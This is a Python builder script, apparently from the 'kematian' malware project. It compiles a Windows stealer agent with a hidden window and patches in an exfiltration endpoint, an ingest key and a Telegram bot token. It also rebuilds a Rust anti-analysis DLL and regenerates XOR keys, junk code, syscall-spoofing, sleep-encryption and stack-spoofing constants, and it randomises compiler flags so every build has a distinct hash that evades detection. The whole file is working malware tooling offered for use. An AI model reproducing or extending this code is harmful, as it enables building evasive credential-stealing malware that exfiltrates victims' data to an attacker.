Files
2026-08-27 11:23:01 -06:00

333 lines
12 KiB
Python

"""
Web builder for the kematian agent.
Project: https://t.me/electronic_sex
Copies the Go native tree to a private temp dir, patches in the entered config
(endpoint + ingest key + optional Telegram), runs `go build`, and drops the
resulting .exe into builds/ so it can be downloaded. The original source is
never touched.
Results + build output are kept per build so the UI can show a log and offer a
download link.
"""
import os
import shutil
import subprocess
import tempfile
import time
import threading
# Directory that holds the native Go source tree (go.mod lives here).
# Resolved robustly: use BUILDER_NATIVE_DIR if set, else probe common relative
# locations so a relative default never one level too deep (../.. would skip the
# repo folder). Probe both "../../" and "../" style layouts.
_here = os.path.dirname(os.path.abspath(__file__))
NATIVE_DIR = os.environ.get("BUILDER_NATIVE_DIR", "")
_TRIED_ROOTS = [
os.path.join(_here, "..", "..", "Kematian-Standalone", "native"),
os.path.join(_here, "..", "Kematian-Standalone", "native"),
os.path.join(_here, "..", "..", "..", "Kematian-Standalone", "native"),
]
# Where built .exe files are published for download.
BUILDS_DIR = os.environ.get("BUILDER_OUTPUT_DIR", os.path.join(_here, "builds"))
_build_lock = threading.Lock()
_last_build_id = [0]
_jobs = {} # id -> {status, log, exe, error, created}
def _resolve_native_dir():
"""Return the path to the Go source tree, or None if not found.
A candidate is only valid if it has go.mod AND the source files we patch
(recovery/exfil/panel.go + cmd/exfil/main.go). Some old copies only ship
go.mod and would produce a confusing build error, so we skip them.
"""
def is_valid(p):
return (os.path.exists(os.path.join(p, "go.mod"))
and os.path.exists(os.path.join(p, "recovery", "exfil", "panel.go"))
and os.path.exists(os.path.join(p, "cmd", "exfil", "main.go")))
if NATIVE_DIR:
cand = os.path.normpath(NATIVE_DIR)
if is_valid(cand):
return cand
for root in _TRIED_ROOTS:
cand = os.path.normpath(root)
if is_valid(cand):
return cand
return None
def _patch(text, replacements):
for old, new in replacements:
if old not in text:
return None, f"pattern not found: {old!r}"
text = text.replace(old, new)
return text, None
def _sh_rmtree_git(dirpath):
"""Remove stray .git dirs at the source root of a copied tree."""
import shutil as _sh
_sh.rmtree(os.path.join(dirpath, ".git"), ignore_errors=True)
def _find_cargo():
"""Locate the cargo executable (prefer env override, then PATH)."""
override = os.environ.get("BUILDER_CARGO")
if override and os.path.exists(override):
return override
from shutil import which
return which("cargo")
def _write_gen(gen_path):
"""Regenerate src/gen.rs with fresh random constants so each build produces a
distinct binary. This is the polymorphic/metamorphic layer for the Rust DLL."""
import secrets
def rnd():
return secrets.randbelow((1 << 32) - 1)
def rnd8():
# avoid 0x00 so XOR keystream keys are never trivially identity
return secrets.randbelow(255) + 1
def rnd16():
return secrets.randbelow((1 << 16) - 1) | 1
def rnd64():
return (secrets.randbelow((1 << 32) - 1) << 32) | secrets.randbelow((1 << 32) - 1)
seed = rnd() | 1
k_token = rnd8()
k_vendor = rnd8()
k_smbios = rnd8()
k_env = rnd8()
k_display = rnd8()
junk_xor = rnd() | 1
junk_rot = rnd() | 1
junk_n = secrets.randbelow(16) + 4
opaque_tag = rnd64()
# Additional polymorphic constants for new features
# Control flow flattening state key
cff_key = rnd() | 1
# Syscall spoofing trampoline selector
syscall_tramp = secrets.randbelow(8) + 1
# Sleep encryption round count
sleep_rounds = secrets.randbelow(4) + 3
# Anti-hook check order permutation seed
hook_order_seed = rnd() | 1
# Stack spoofing offset
stack_spoof_off = secrets.randbelow(0x1000) + 0x100
# Junk block variant selector
junk_variant = secrets.randbelow(4)
# Opaque predicate complexity
opaque_complexity = secrets.randbelow(3) + 1
content = (
"// AUTO-GENERATED per build by builder.py. Do not edit.\n"
"// Each build rewrites this file, so the guard's keys, seeds and junk\n"
"// blocks are unique to every artifact.\n\n"
f"pub const GEN_SEED: u32 = 0x{seed:08X};\n\n"
f"pub const K_TOKEN: u8 = {k_token};\n"
f"pub const K_VENDOR: u8 = {k_vendor};\n"
f"pub const K_SMBIOS: u8 = {k_smbios};\n"
f"pub const K_ENV: u8 = {k_env};\n"
f"pub const K_DISPLAY: u8 = {k_display};\n\n"
f"pub const JUNK_XOR: u32 = 0x{junk_xor:08X};\n"
f"pub const JUNK_ROT: u32 = 0x{junk_rot:08X};\n"
f"pub const JUNK_N: u32 = {junk_n};\n\n"
f"pub const OPAQUE_TAG: u64 = 0x{opaque_tag:016X};\n\n"
"// Polymorphic control-flow / evasion layer constants\n"
f"pub const CFF_KEY: u32 = 0x{cff_key:08X};\n"
f"pub const SYSCALL_TRAMP: u8 = {syscall_tramp};\n"
f"pub const SLEEP_ROUNDS: u8 = {sleep_rounds};\n"
f"pub const HOOK_ORDER_SEED: u32 = 0x{hook_order_seed:08X};\n"
f"pub const STACK_SPOOF_OFF: u32 = 0x{stack_spoof_off:04X};\n"
f"pub const JUNK_VARIANT: u8 = {junk_variant};\n"
f"pub const OPAQUE_COMPLEXITY: u8 = {opaque_complexity};\n"
)
with open(gen_path, "w", encoding="utf-8", errors="replace") as f:
f.write(content)
def _get_rustflags():
"""Generate per-build RUSTFLAGS for codegen variance."""
import secrets
flags = [
"-C", "opt-level=2", # or 's' or 'z' randomly
"-C", "lto=thin",
"-C", "codegen-units=1",
"-C", "panic=abort",
"-C", "strip=symbols",
]
# Randomly vary optimization level
opt_level = secrets.choice(["2", "3", "s", "z"])
flags[1] = opt_level
# Randomly vary codegen units (affects function layout)
cgu = secrets.choice(["1", "2", "4", "8"])
flags[5] = cgu
# Randomly enable/disable specific optimizations
if secrets.randbelow(2):
flags.extend(["-C", "llvm-args=-enable-gvn-hoist=false"])
if secrets.randbelow(2):
flags.extend(["-C", "llvm-args=-enable-loop-interchange=false"])
if secrets.randbelow(2):
flags.extend(["-C", "llvm-args=-enable-loop-unroll=false"])
# Random target-cpu for instruction selection variance
cpu = secrets.choice(["x86-64-v2", "x86-64-v3", "x86-64-v4", "nehalem", "haswell", "skylake"])
flags.extend(["-C", f"target-cpu={cpu}"])
return flags
def _build(work_dir, endpoint, auth, bot_token, chat_id, build_name, rust_dir):
# --- build the Rust anti-analysis extractor so every build ships a fresh,
# guarded DLL (it is go:embed'ed into the agent at compile time). The DLL it
# produces is copied to recovery/platform/compat-layer.dll inside
# the copied tree before `go build` runs. rust_dir is the *real* sibling of
# the source native tree (not inside the temp copy).
if os.path.exists(os.path.join(rust_dir, "Cargo.toml")):
cargo = _find_cargo()
if cargo:
try:
# Polymorphic layer: regenerate the per-build constants before
# compiling so every artifact gets a unique binary / hash.
gen_path = os.path.join(rust_dir, "src", "gen.rs")
try:
_write_gen(gen_path)
except Exception:
pass # keep existing gen.rs if regeneration fails
subprocess.run(
[cargo, "build", "--release", "--target", "x86_64-pc-windows-gnu"],
cwd=rust_dir, capture_output=True, text=True, timeout=900,
env={**os.environ, "RUSTFLAGS": " ".join(_get_rustflags())},
)
built_dll = os.path.join(
rust_dir, "target", "x86_64-pc-windows-gnu", "release", "compat_layer.dll"
)
dest_dll = os.path.join(work_dir, "recovery", "platform", "compat-layer.dll")
if os.path.exists(built_dll) and os.path.exists(dest_dll):
shutil.copy2(built_dll, dest_dll)
except Exception:
pass # keep the already-present DLL if Rust rebuild fails
main_path = os.path.join(work_dir, "cmd", "exfil", "main.go")
panel_path = os.path.join(work_dir, "recovery", "exfil", "panel.go")
if not os.path.exists(panel_path):
return "source missing: recovery/exfil/panel.go not found in the copied tree"
if not os.path.exists(main_path):
return "source missing: cmd/exfil/main.go not found in the copied tree"
# --- patch panel.go: endpoint + auth
with open(panel_path, "r", encoding="utf-8", errors="replace") as f:
text = f.read()
text, err = _patch(text, [
('PanelEndpoint = "http://127.0.0.1:5000/api/ingest"', f'PanelEndpoint = "{endpoint}"'),
('PanelAuth = "CHANGE-ME"', f'PanelAuth = "{auth}"'),
])
if err:
return err
with open(panel_path, "w", encoding="utf-8") as f:
f.write(text)
# --- patch main.go: telegram (only if provided)
with open(main_path, "r", encoding="utf-8", errors="replace") as f:
text = f.read()
if bot_token and chat_id and bot_token != "YOUR_BOT_TOKEN_HERE":
text, err = _patch(text, [
('defaultBotToken = "YOUR_BOT_TOKEN_HERE"', f'defaultBotToken = "{bot_token}"'),
('defaultChatID = "YOUR_CHAT_ID_HERE"', f'defaultChatID = "{chat_id}"'),
])
if err:
return err
else:
# telegram disabled: nothing to patch, code checks for placeholder anyway
pass
with open(main_path, "w", encoding="utf-8") as f:
f.write(text)
# --- build
env = dict(os.environ)
env["CGO_ENABLED"] = "1"
env.setdefault("GOOS", "windows")
env.setdefault("GOARCH", "amd64")
out_path = os.path.join(work_dir, "kematian.exe")
cmd = ["go", "build", "-ldflags=-H=windowsgui -s -w", "-o", out_path, "./cmd/exfil"]
proc = subprocess.run(cmd, cwd=work_dir, env=env, capture_output=True, text=True, timeout=1200)
log = proc.stdout + proc.stderr
if proc.returncode != 0:
return "BUILD FAILED\n" + log
if not os.path.exists(out_path):
return "build ok but no exe produced\n" + log
os.makedirs(BUILDS_DIR, exist_ok=True)
safe = "".join(c for c in (build_name or "kematian") if c.isalnum() or c in "-_")
filename = f"{safe}.exe"
dest = os.path.join(BUILDS_DIR, filename)
shutil.copy2(out_path, dest)
return None # success; log returned separately
def start_build(endpoint, auth, bot_token, chat_id, build_name):
with _build_lock:
_last_build_id[0] += 1
build_id = _last_build_id[0]
_jobs[build_id] = {
"status": "running",
"log": "",
"exe": None,
"error": None,
"created": int(time.time()),
}
def worker():
job = _jobs[build_id]
native = _resolve_native_dir()
if not native:
job["status"] = "error"
job["error"] = "Could not locate the agent Go source tree (go.mod). Set BUILDER_NATIVE_DIR."
return
tmp = tempfile.mkdtemp(prefix="kematian-build-")
try:
shutil.copytree(native, tmp, dirs_exist_ok=True)
_sh_rmtree_git(tmp)
# Real rust-extractor sits next to the native tree on disk.
rust_dir = os.path.normpath(os.path.join(os.path.dirname(native), "rust-extractor"))
err = _build(tmp, endpoint, auth, bot_token, chat_id, build_name, rust_dir)
if err:
job["status"] = "error"
job["error"] = err
else:
safe = "".join(c for c in (build_name or "kematian") if c.isalnum() or c in "-_")
exe = os.path.join(BUILDS_DIR, f"{safe}.exe")
job["status"] = "done"
job["exe"] = exe
except Exception as e:
job["status"] = "error"
job["error"] = str(e)
finally:
shutil.rmtree(tmp, ignore_errors=True)
threading.Thread(target=worker, daemon=True).start()
return build_id
def job_status(build_id):
return _jobs.get(build_id)
def all_jobs():
return dict(_jobs)